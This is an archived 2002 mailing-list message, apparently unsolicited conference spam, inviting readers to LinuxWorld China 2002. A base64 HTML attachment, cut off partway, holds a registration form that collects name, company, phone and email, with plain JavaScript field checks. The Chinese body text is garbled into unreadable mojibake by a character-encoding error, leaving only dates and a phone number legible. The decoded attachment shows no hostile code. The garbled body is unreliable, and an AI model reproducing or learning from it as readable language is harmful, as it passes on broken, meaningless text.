X-Trace: ger.gmane.org 1416621628 12424 80.91.229.3 (22 Nov 2014 02:00:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:28 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Aug 18 01:23:55 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from Liming Zhu (unknown [61.177.33.197])
	by dsl2.external.hp.com (Postfix) with SMTP id 8C797482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 18 Aug 2002 01:23:48 -0600 (MDT)
X-Priority: 3
X-Mailer: JiXing mailer V1.73 Design By JohnnieHuang
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15840

This is a multipart MIME message.

--= Multipart Boundary 0818021523
Content-Type: text/plain; charset="GB2312"
Content-Transfer-Encoding: 7bit

      LinuxWorld China 2002ֻ뺯ѣ 


    LinuxWorld Chinaչޣ޹˾죬õżҵȨȫ֧֡

LinuxWorld ChinaּڴٽϢ̡רҵʿҵûLinuxӦá񼰹ĽӦгľ޴ǱƶLinuxϵͳLinuxƽ̨ĸӦĿԼڹ񾭼øڵĹ㷺ʹãƽҵϢ衣

ƣLinuxWorld China 2002

ʱ/ص㣺200293գ   йƵ
200295գ Ϻ  ʹ󶼴󷹵

⣺ ʵҵLinuxӦ

ʽ ֻ+Ʒչʾ

ֻ᣺ Ϊݽ۴ᡢרҵ󲿷֣ۼ50ೡ漰ɹѵȸ档

Ʒչʾ չʾҵµӲƷֱû̡רҵȽЧͨ

ѯ绰(010)83152644-127

򿪸еıдǽдϢȷϺ볡ȯڴ룡 

    >>Ϣĸе 

--= Multipart Boundary 0818021523
Content-Type: application/octet-stream;
	name=".htm"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename=".htm"

PGh0bWw+DQo8aGVhZD4NCjx0aXRsZT5MaW51eFdvcmxkIENoaW5hIDIwMDLR
0MzWu+HR+8fruq88L3RpdGxlPg0KPE1FVEEgSFRUUC1FUVVJVj1Db250ZW50
LVR5cGUgQ09OVEVOVD0idGV4dC9odG1sOyBjaGFyc2V0PWdiMjMxMiI+DQo8
U1RZTEUgVFlQRT0idGV4dC9jc3MiPg0KPCEtLQ0KDQpCT0RZew0KICAgIEZP
TlQtRkFNSUxZOiDLzszlOw0KICAgIEZPTlQtU0laRTogOXB0Ow0KICAgIENP
TE9SOiMwMDAwMDANCn0NCi5wdDkgeyBmb250LWZhbWlseTogIsvOzOUiOyBm
b250LXNpemU6IDlwdH0NCg0KUA0Kew0KICAgIEZPTlQtRkFNSUxZOiAiy87M
5SI7IEZPTlQtU0laRTogOXB0OyBDT0xPUjojMDAwMDAwDQp9DQpIOSxURCxT
RUxFQ1QNCnsNCiAgICBGT05ULUZBTUlMWTogIsvOzOUiOyBGT05ULVNJWkU6
IDlwdA0KfQ0KDQpBOmxpbmsgeyAgZm9udC1mYW1pbHk6ICLLzszlIjsgZm9u
dC1zaXplOiA5cHQ7IGNvbG9yOiAjMDg0MkIxOyB0ZXh0LWRlY29yYXRpb246
IG5vbmV9DQpBOnZpc2l0ZWQgeyAgZm9udC1mYW1pbHk6ICLLzszlIjsgZm9u
dC1zaXplOiA5cHQ7IGNvbG9yOiAjMDg0MkIxOyB0ZXh0LWRlY29yYXRpb246
IG5vbmU7IGZvbnQtY29sb3I9Ymx1ZX0NCkE6aG92ZXIgeyAgZm9udC1mYW1p
bHk6ICLLzszlIjsgZm9udC1zaXplOiA5UFQ7Y29sb3I6I0ZENEEwNDsgIHRl
eHQtZGVjb3JhdGlvbjogbm9uZX0NCg0KLS0+DQoNCjwvc3R5bGU+DQoNCjxT
Q1JJUFQgbGFuZ3VhZ2U9amF2YXNjcmlwdD4gIA0KDQpmdW5jdGlvbiBWZXJp
ZnlJbnB1dCgpICANCnsgIA0KIA0KICAgIHZhciBuZXdEYXRlT2JqID0gbmV3
IERhdGUoKSAgDQoNCiAgICBzdHJGaXJzdG5hbWUgPSBkb2N1bWVudC5mcm1V
c2VySW5mby5GaXJzdG5hbWUudmFsdWU7ICANCiAgICBpZiAoc3RyRmlyc3Ru
YW1lID09ICIiKSAgDQogICAgeyAgDQogICAgICAgIGFsZXJ0KCLH68rkyOvE
+rXE0NXD+yEgIik7ICANCiAgICAgICAgZG9jdW1lbnQuZnJtVXNlckluZm8u
Rmlyc3RuYW1lLmZvY3VzKCk7ICANCiAgICAgICAgcmV0dXJuIGZhbHNlOyAg
DQogICAgfSAgDQoJDQoJDQogCWlmIChkb2N1bWVudC5mcm1Vc2VySW5mby50
aXRsZS5zZWxlY3RlZEluZGV4ID09IDApDQoJCXsNCgkJYWxlcnQoIsfr0aHU
8cT6tcTQ1LHwIik7DQoJCWRvY3VtZW50LmZybVVzZXJJbmZvLnRpdGxlLmZv
Y3VzKCk7DQoJCXJldHVybiBmYWxzZTsNCgkJfQ0KIA0KICAgICBzdHJqb2J0
aXRsZW5hbWUgPSBkb2N1bWVudC5mcm1Vc2VySW5mby5qb2JfdGl0bGUudmFs
dWU7ICANCiAgICBpZiAoc3Ryam9idGl0bGVuYW1lID09ICIiKSAgDQogICAg
eyAgDQogICAgICAgIGFsZXJ0KCLH68rkyOvE+rXE0NDV/tawzvEhICIpOyAg
DQogICAgICAgIGRvY3VtZW50LmZybVVzZXJJbmZvLmpvYl90aXRsZS5mb2N1
cygpOyAgDQogICAgICAgIHJldHVybiBmYWxzZTsgIA0KICAgIH0gIA0KCQ0K
CXN0cmNvbXBhbnkgPSBkb2N1bWVudC5mcm1Vc2VySW5mby5jb21wYW55LnZh
bHVlOyAgDQogICAgaWYgKHN0cmNvbXBhbnkgPT0gIiIpICANCiAgICB7ICAN
CiAgICAgICAgYWxlcnQoIsfryuTI68T6tcS1pc67w/uzxiEgIik7ICANCiAg
ICAgICAgZG9jdW1lbnQuZnJtVXNlckluZm8uY29tcGFueS5mb2N1cygpOyAg
DQogICAgICAgIHJldHVybiBmYWxzZTsgIA0KICAgIH0gIA0KCQkNCglzdHJj
b21hZGQgPSBkb2N1bWVudC5mcm1Vc2VySW5mby5jb21fYWRkLnZhbHVlOyAg
DQogICAgaWYgKHN0cmNvbWFkZCA9PSAiIikgIA0KICAgIHsgIA0KICAgICAg
ICBhbGVydCgix+vK5MjrxPq1xM2o0ba12Na3ISAiKTsgIA0KICAgICAgICBk
b2N1bWVudC5mcm1Vc2VySW5mby5jb21fYWRkLmZvY3VzKCk7ICANCiAgICAg
ICAgcmV0dXJuIGZhbHNlOyAgDQogICAgfSAgDQoJDQoJc3RycG9zdGNvZGUg
PSBkb2N1bWVudC5mcm1Vc2VySW5mby5wb3N0Y29kZS52YWx1ZTsgIA0KICAg
IGlmIChzdHJwb3N0Y29kZSA9PSAiIikgIA0KICAgIHsgIA0KICAgICAgICBh
bGVydCgix+vK5MjrxPq1xNPK1f6x4MLrISAiKTsgIA0KICAgICAgICBkb2N1
bWVudC5mcm1Vc2VySW5mby5wb3N0Y29kZS5mb2N1cygpOyAgDQogICAgICAg
IHJldHVybiBmYWxzZTsgIA0KICAgIH0gIA0KCQkNCiAgCWlmIChkb2N1bWVu
dC5mcm1Vc2VySW5mby5wcm92aW5jZS5zZWxlY3RlZEluZGV4ID09IDApDQoJ
CXsNCgkJYWxlcnQoIsfr0aHU8cT6y/nU2rXEyqG33aOhIik7DQoJCWRvY3Vt
ZW50LmZybVVzZXJJbmZvLnByb3ZpbmNlLmZvY3VzKCk7DQoJCXJldHVybiBm
YWxzZTsNCgkJfQ0KDQoNCglzdHJ0ZWxlcGhvbmUgPSBkb2N1bWVudC5mcm1V
c2VySW5mby50ZWxlcGhvbmUudmFsdWU7ICANCiAgICBpZiAoc3RydGVsZXBo
b25lID09ICIiKSAgDQogICAgeyAgDQogICAgICAgIGFsZXJ0KCLH68rkyOvE
+rXEtee7sLrFwuujoSAiKTsgIA0KICAgICAgICBkb2N1bWVudC5mcm1Vc2Vy
SW5mby50ZWxlcGhvbmUuZm9jdXMoKTsgIA0KICAgICAgICByZXR1cm4gZmFs
c2U7ICANCiAgICB9ICANCgkNCglzdHJmYXggPSBkb2N1bWVudC5mcm1Vc2Vy
SW5mby5mYXgudmFsdWU7ICANCiAgICBpZiAoc3RyZmF4ID09ICIiKSAgDQog
ICAgeyAgDQogICAgICAgIGFsZXJ0KCLH68rkyOvE+rXEtKvV5rrFwuujoSAi
KTsgIA0KICAgICAgICBkb2N1bWVudC5mcm1Vc2VySW5mby5mYXguZm9jdXMo
KTsgIA0KICAgICAgICByZXR1cm4gZmFsc2U7ICANCiAgICB9ICANCg0KCXN0
cmVtYWlsID0gZG9jdW1lbnQuZnJtVXNlckluZm8uZW1haWwudmFsdWU7ICAN
CiAgICBpZiAoc3RyZW1haWwgPT0gIiIpICANCiAgICB7ICANCiAgICAgICAg
YWxlcnQoIsfryuTI68T6tcRFLW1haWy12Na3o6EgIik7ICANCiAgICAgICAg
ZG9jdW1lbnQuZnJtVXNlckluZm8uZW1haWwuZm9jdXMoKTsgIA0KICAgICAg
ICByZXR1cm4gZmFsc2U7ICANCiAgICB9IAkNCg0KCXN0cmNvbV9tYW5hZ2Vy
ID0gZG9jdW1lbnQuZnJtVXNlckluZm8uY29tX21hbmFnZXIudmFsdWU7ICAN
CiAgICBpZiAoc3RyY29tX21hbmFnZXIgPT0gIiIpICANCiAgICB7ICANCiAg
ICAgICAgYWxlcnQoIsfryuTI68T6tcS5q8u+19y+rcDt0NXD+6OhICIpOyAg
DQogICAgICAgIGRvY3VtZW50LmZybVVzZXJJbmZvLmNvbV9tYW5hZ2VyLmZv
Y3VzKCk7ICANCiAgICAgICAgcmV0dXJuIGZhbHNlOyAgDQogICAgfSAJDQoN
CglzdHJkZXBfbWFuYWdlciA9IGRvY3VtZW50LmZybVVzZXJJbmZvLmRlcF9t
YW5hZ2VyLnZhbHVlOyAgDQogICAgaWYgKHN0cmRlcF9tYW5hZ2VyID09ICIi
KSAgDQogICAgeyAgDQogICAgICAgIGFsZXJ0KCLH68rkyOvE+rXEsr/Dxbi6
1PDIy7XE0NXD+6OhICIpOyAgDQogICAgICAgIGRvY3VtZW50LmZybVVzZXJJ
bmZvLmRlcF9tYW5hZ2VyLmZvY3VzKCk7ICANCiAgICAgICAgcmV0dXJuIGZh
bHNlOyAgDQogICAgfSANCglzdHJjb210eXBlMSA9IGRvY3VtZW50LmZybVVz
ZXJJbmZvLmNvbV90eXBlMS52YWx1ZTsNCgkgIA0KICAgIGlmIChkb2N1bWVu
dC5mcm1Vc2VySW5mby5kd2xiWzBdLmNoZWNrZWQpICANCiAgICB7ICAgICAg
DQoJCWlmIChzdHJjb210eXBlMSA9PSAiIikgIA0KCQkgeyAgDQogICAgICAg
CSBhbGVydCgix+vRodTxuavLvsDgsfAhICIpOyAgDQogICAgICAgIGRvY3Vt
ZW50LmZybVVzZXJJbmZvLmNvbV90eXBlMS5mb2N1cygpOyAgDQogICAgICAg
IHJldHVybiBmYWxzZTsgIA0KICAgIH0NCiAgICB9ICAgDQoNCglzdHJjb210
eXBlMiA9IGRvY3VtZW50LmZybVVzZXJJbmZvLmNvbV90eXBlMi52YWx1ZTsN
CgkgIA0KICAgIGlmIChkb2N1bWVudC5mcm1Vc2VySW5mby5kd2xiWzFdLmNo
ZWNrZWQpICANCiAgICB7ICAgICAgDQoJCWlmIChzdHJjb210eXBlMiA9PSAi
IikgIA0KCQkgeyAgDQogICAgICAgCSBhbGVydCgix+vRodTxuavLvsDgsfAh
ICIpOyAgDQogICAgICAgIGRvY3VtZW50LmZybVVzZXJJbmZvLmNvbV90eXBl
Mi5mb2N1cygpOyAgDQogICAgICAgIHJldHVybiBmYWxzZTsgIA0KICAgIH0N
CiAgICB9ICAgDQogICAgcmV0dXJuIHRydWU7ICAgDQp9ICANCjwvU0NSSVBU
Pg0KDQo8L2hlYWQ+DQoNCjxib2R5IGJnY29sb3I9IiNGRkZGRkYiIHRleHQ9
IiMwMDAwMDAiIGxlZnRtYXJnaW49IjAiIHRvcG1hcmdpbj0iMCI+DQoNCjx0
YWJsZSB3aWR0aD0iNTAwIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBj
ZWxscGFkZGluZz0iMCI+DQoJPHRyPg0KCTx0ZCBjb2xzcGFuPTIgaGVpZ2h0
PTQgYmdjb2xvcj0jMDAwMDAwPjwvdGQ+DQoJPC90cj4NCgk8dHI+DQoJPHRk
IHdpZHRoPTQgYmdjb2xvcj0jMDAwMDAwPjwvdGQ+DQoJPHRkPjxpbWcgc3Jj
PWh0dHA6Ly9hZC5oZXJtZXMuY29tLmNuL2xpbnV4d29ybGQvaW1hZ2VzL2Jn
LmdpZiB3aWR0aD00OTYgaGVpZ2h0PTk5IGJvZWRlcj0wPjwvdGQ+DQoJPC90
cj4NCgk8dGQgd2lkdGg9NCBiZ2NvbG9yPSMwMDAwMDA+PC90ZD4NCgk8dGQg
YWxpZ249Y2VudGVyIGJhY2tncm91bmQ9aHR0cDovL2FkLmhlcm1lcy5jb20u
Y24vbGludXh3b3JsZC9pbWFnZXMvYmdfMC5naWY+DQoNCjx0YWJsZSB3aWR0
aD0iNDgwIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIzIiBjZWxscGFkZGlu
Zz0iMyI+DQoJPHRyPg0KCTx0ZD4NCqGhoaFMaW51eFdvcmxkIENoaW5h08nK
wNW5sqnAwKOo0cfW3qOp09DP3rmry77W97Dso6y1w7W9wcvV/riusr/Dxbyw
0rW958iozf67+rm5tcTIq8Gm1qez1qGjPGJyPjxicj6hoaGhTGludXhXb3Js
ZCBDaGluYda81Nq02b34ufrE2s3i0MXPory8yvWzp8nMoaLXqNK1yMvKv7rN
xvPStdPDu6fU2kxpbnV4v6q3oqGi06bTw6Git/7O8bywudzA7dTL1/e3vcPm
tcS9u8H30+u6z9f3o6y/qr7y06bTw8rQs6G1xL7etPPHscGmo6zNxravTGlu
dXiy2df3z7XNs7ywu/nT2kxpbnV4xr3MqLXEuPfW1tOm08PI7bz+tcS/qrei
o6zS1Lyw1Nq5+sPxvq28w7j3uPbB7NPyxNq1xLnjt7rKudPDo6zNxr341f64
rrywxvPStdDFz6K7r72oyeihozxicj48YnI+DQoNCqGhoaE8Yj7D+7PGo7o8
L2I+oaGhoaGhTGludXhXb3JsZCBDaGluYSAyMDAyPGJyPjxicj4NCqGhoaE8
Yj7KsbzkL7XYteOjujwvYj4yMDAyxOo51MIzyNWjrCC549bdIKHxINbQufq0
877Gteo8YnI+DQqhoaGhoaGhoaGhoaGhoaGhMjAwMsTqOdTCNcjVo6wgyc+6
oyCh8SC5+rzKufO2vLTzt7m16jxicj48YnI+DQqhoaGhPGI+tPO74db3zOKj
ujwvYj4gzvHKtbXExvPStby2TGludXjTptPDPGJyPjxicj4NCqGhoaE8Yj60
87vh0M7KvaO6PC9iPiDR0MzWu+ErsvrGt9W5yr48YnI+PGJyPg0KDQqhoaGh
PGI+0dDM1rvho7o8L2I+ICAgt9bOqtb3zOLR3b2yoaLM1sLbtPO74aGi16jS
tb2y1/nI/bTzsr+31qOswNu8xjUw0+Czob2y1/mjrMTayN3J5rywvLzK9aGi
veK+9re9sLihorPJuaawuMD9t9bO9qGixeDRtbXIuPe49re9w+ahozxicj48
YnI+DQqhoaGhPGI+svrGt9W5yr6jujwvYj4JvK/W0NW5yr7StcTa1+7QwrXE
yO2hotOyvP6y+sa3o6y94r72t72wuKOs1rG909Pr08O7p6Givq3P+snMoaLX
qLzStci9+NDQ09DQp7m1zaihozxicj48YnI+DQqhoaGhPGI+sajD+9fJ0a+1
57uwo7ooMDEwKTgzMTUyNjQ0LTEyNzwvYj48YnI+PGJyPg0KoaGhoTxiPjxm
b250IGNvbG9yPSMwMTdGQjI+x+vM7tC00tTPwrGow/ux7bWlo6zO0sPHvau4
+b7dxPrM7tC0tcTQxc+it6LLzci3yM+6r6GjPGJyPg0KICAgICAgIA0KoaGh
ocbatP3XxcT6tcTIyMfpss7T66OhPC9mb250PjwvYj4NCgk8L3RkPg0KCTwv
dHI+DQoJPHRyPg0KCTx0ZD4NCjxGT1JNIGFjdGlvbj1odHRwOi8vYWQuaGVy
bWVzLmNvbS5jbi9saW51eHdvcmxkL2RlYWwucGhwIG1ldGhvZD1wb3N0IG5h
bWU9ZnJtVXNlckluZm8gb25zdWJtaXQ9InJldHVybiBWZXJpZnlJbnB1dCgp
OyI+DQo8dGFibGUgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMiIgY2VsbHNw
YWNpbmc9IjIiIHdpZHRoPSI0NjUiPg0KCQk8dHI+IA0KICAgICAgICAgICAg
ICAgICAgICAgIDx0ZCBoZWlnaHQ9IjI3IiBjbGFzcz0idGV4dCIgd2lkdGg9
IjEyNSI+Jm5ic3A7IDwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgPHRk
IGhlaWdodD0iMjciIGNsYXNzPSJ0ZXh0IiB3aWR0aD0iMzQwIj4gDQogICAg
ICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5h
bWU9Imd6IiB2YWx1ZT0iuePW3SI+DQogICAgICAgICAgICAgICAgICAgICAg
ICC549bdIA0KICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9
ImNoZWNrYm94IiBuYW1lPSJzaCIgdmFsdWU9IsnPuqMiPg0KICAgICAgICAg
ICAgICAgICAgICAgICAgyc+6ozwvdGQ+DQogICAgICAgICAgICAgICAgICAg
IDwvdHI+DQogICAgICAgICAgICAgICAgICAgIDx0ciBjbGFzcz0idW5uYW1l
ZDEiPiANCiAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEyNSIg
aGVpZ2h0PSIyNSIgY2xhc3M9InRleHQiPiANCiAgICAgICAgICAgICAgICAg
ICAgICAgIDxkaXYgYWxpZ249InJpZ2h0Ij7Q1cP7o7o8Zm9udCBjb2xvcj0i
I0ZGMDAwMCI+KjwvZm9udD48L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAg
ICA8L3RkPg0KICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzQw
IiBoZWlnaHQ9IjI1Ij4gDQogICAgICAgICAgICAgICAgICAgICAgICA8aW5w
dXQgbWF4bGVuZ3RoPTIwIG5hbWU9Rmlyc3RuYW1lIHNpemU9IjEyIj4NCiAg
ICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5h
bWU9IndpZCIgdmFsdWU9InBjYm9va2NuIiBJRD0iSGlkZGVuMSI+DQogICAg
ICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1l
PSJhZGlkIiB2YWx1ZT0ibGludXgwODA2IiBJRD0iSGlkZGVuMiI+DQogICAg
ICAgICAgICAgICAgICAgICAgPC90ZD4NCiAgICAgICAgICAgICAgICAgICAg
PC90cj4NCiAgICAgICAgICAgICAgICAgICAgPHRyPiANCiAgICAgICAgICAg
ICAgICAgICAgICA8dGQgd2lkdGg9IjEyNSI+IA0KICAgICAgICAgICAgICAg
ICAgICAgICAgPGRpdiBhbGlnbj0icmlnaHQiPtDUsfCjujxmb250IGNvbG9y
PSIjRkYwMDAwIj4qPC9mb250PjwvZGl2Pg0KICAgICAgICAgICAgICAgICAg
ICAgIDwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIz
NDAiPiANCiAgICAgICAgICAgICAgICAgICAgICAgIDxzZWxlY3QgbmFtZT0i
dGl0bGUiIHNpemU9IjEiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8
b3B0aW9uPsfr0aHU8dK7z+48L29wdGlvbj4NCiAgICAgICAgICAgICAgICAg
ICAgICAgICAgPG9wdGlvbiB2YWx1ZT0ixNAiPsTQPC9vcHRpb24+DQogICAg
ICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IsWuIj7Frjwv
b3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9zZWxlY3Q+DQog
ICAgICAgICAgICAgICAgICAgICAgPC90ZD4NCiAgICAgICAgICAgICAgICAg
ICAgPC90cj4NCiAgICAgICAgICAgICAgICAgICAgPHRyPiANCiAgICAgICAg
ICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEyNSI+IA0KICAgICAgICAgICAg
ICAgICAgICAgICAgPGRpdiBhbGlnbj0icmlnaHQiPtDQ1f7WsM7xo7o8Zm9u
dCBjb2xvcj0iI0ZGMDAwMCI+KjwvZm9udD48L2Rpdj4NCiAgICAgICAgICAg
ICAgICAgICAgICA8L3RkPg0KICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3
aWR0aD0iMzQwIj4gDQogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQg
dHlwZT0idGV4dCIgbmFtZT0iam9iX3RpdGxlIiBtYXhsZW5ndGg9IjMwIj4N
CiAgICAgICAgICAgICAgICAgICAgICA8L3RkPg0KICAgICAgICAgICAgICAg
ICAgICA8L3RyPg0KICAgICAgICAgICAgICAgICAgICA8dHI+IA0KICAgICAg
ICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTI1Ij4gDQogICAgICAgICAg
ICAgICAgICAgICAgICA8ZGl2IGFsaWduPSJyaWdodCI+vLzK9daws8ajujwv
ZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+DQogICAgICAgICAg
ICAgICAgICAgICAgPHRkIHdpZHRoPSIzNDAiPiANCiAgICAgICAgICAgICAg
ICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ0ZWNoX3RpdGxl
IiBtYXhsZW5ndGg9IjMwIj4NCiAgICAgICAgICAgICAgICAgICAgICA8L3Rk
Pg0KICAgICAgICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgICAg
ICAgICA8dHI+IA0KICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0i
MTI1Ij4gDQogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGFsaWduPSJy
aWdodCI+uavLvsP7s8ajujxmb250IGNvbG9yPSIjRkYwMDAwIj4qPC9mb250
PjwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+DQogICAgICAg
ICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzNDAiPiANCiAgICAgICAgICAg
ICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjb21wYW55
IiBzaXplPSIzNSIgbWF4bGVuZ3RoPSI4MCI+DQogICAgICAgICAgICAgICAg
ICAgICAgPC90ZD4NCiAgICAgICAgICAgICAgICAgICAgPC90cj4NCiAgICAg
ICAgICAgICAgICAgICAgPHRyPiANCiAgICAgICAgICAgICAgICAgICAgICA8
dGQgd2lkdGg9IjEyNSI+IA0KICAgICAgICAgICAgICAgICAgICAgICAgPGRp
diBhbGlnbj0icmlnaHQiPs2o0ba12Na3o7o8Zm9udCBjb2xvcj0iI0ZGMDAw
MCI+KjwvZm9udD48L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICA8L3Rk
Pg0KICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzQwIj4gDQog
ICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFt
ZT0iY29tX2FkZCIgc2l6ZT0iMzUiIG1heGxlbmd0aD0iMTAwIj4NCiAgICAg
ICAgICAgICAgICAgICAgICA8L3RkPg0KICAgICAgICAgICAgICAgICAgICA8
L3RyPg0KICAgICAgICAgICAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAg
ICAgICAgICAgIDx0ZCB3aWR0aD0iMTI1Ij4gDQogICAgICAgICAgICAgICAg
ICAgICAgICA8ZGl2IGFsaWduPSJyaWdodCI+08rV/rHgwuujujxmb250IGNv
bG9yPSIjRkYwMDAwIj4qPC9mb250PjwvZGl2Pg0KICAgICAgICAgICAgICAg
ICAgICAgIDwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRo
PSIzNDAiPiANCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBl
PSJ0ZXh0IiBuYW1lPSJwb3N0Y29kZSIgc2l6ZT0iNiIgbWF4bGVuZ3RoPSI2
Ij4NCiAgICAgICAgICAgICAgICAgICAgICA8L3RkPg0KICAgICAgICAgICAg
ICAgICAgICA8L3RyPg0KICAgICAgICAgICAgICAgICAgICA8dHI+IA0KICAg
ICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTI1Ij4gDQogICAgICAg
ICAgICAgICAgICAgICAgICA8ZGl2IGFsaWduPSJyaWdodCI+yqG33aO6PGZv
bnQgY29sb3I9IiNGRjAwMDAiPio8L2ZvbnQ+PC9kaXY+DQogICAgICAgICAg
ICAgICAgICAgICAgPC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICA8dGQg
d2lkdGg9IjM0MCI+IA0KICAgICAgICAgICAgICAgICAgICAgICAgPHNlbGVj
dCBuYW1lPSJwcm92aW5jZSIgc2l6ZT0iMSI+DQogICAgICAgICAgICAgICAg
ICAgICAgICAgIDxvcHRpb24gdmFsdWU9Isfr0aHU8dK7z+4iPsfr0aHU8dK7
z+48L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlv
biB2YWx1ZT0isbG+qcrQIj6xsb6pytA8L29wdGlvbj4NCiAgICAgICAgICAg
ICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0izOy98srQIj7M7L3yytA8
L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2
YWx1ZT0iutOxscqhIj6607GxyqE8L29wdGlvbj4NCiAgICAgICAgICAgICAg
ICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iyb3O98qhIj7Jvc73yqE8L29w
dGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1
ZT0ixNrDybnFIj7E2sPJucU8L29wdGlvbj4NCiAgICAgICAgICAgICAgICAg
ICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iwcnE/sqhIj7BycT+yqE8L29wdGlv
bj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0i
vKrB1sqhIj68qsHWyqE8L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAg
ICAgICAgPG9wdGlvbiB2YWx1ZT0iutrB+r2tyqEiPrrawfq9rcqhPC9vcHRp
b24+DQogICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9
IsnPuqPK0CI+yc+6o8rQPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAg
ICAgICAgIDxvcHRpb24gdmFsdWU9Ir2ty9XKoSI+va3L1cqhPC9vcHRpb24+
DQogICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9ItXj
va3KoSI+1eO9rcqhPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgICAg
ICAgIDxvcHRpb24gdmFsdWU9IrCyu9XKoSI+sLK71cqhPC9vcHRpb24+DQog
ICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IjM1Ij64
o72oyqE8L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgPG9w
dGlvbiB2YWx1ZT0iuKO9qMqhIj69rc73yqE8L29wdGlvbj4NCiAgICAgICAg
ICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iyb22q8qhIj7Jvbar
yqE8L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlv
biB2YWx1ZT0iutPEz8qhIj6608TPyqE8L29wdGlvbj4NCiAgICAgICAgICAg
ICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iuv7Ez8qhIj66/sTPyqE8
L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2
YWx1ZT0iueO2q8qhIj6547aryqE8L29wdGlvbj4NCiAgICAgICAgICAgICAg
ICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iuePO98qhIj654873yqE8L29w
dGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1
ZT0iuqPEz8qhIj66o8TPyqE8L29wdGlvbj4NCiAgICAgICAgICAgICAgICAg
ICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iy8S0qMqhIj7LxLSoyqE8L29wdGlv
bj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0i
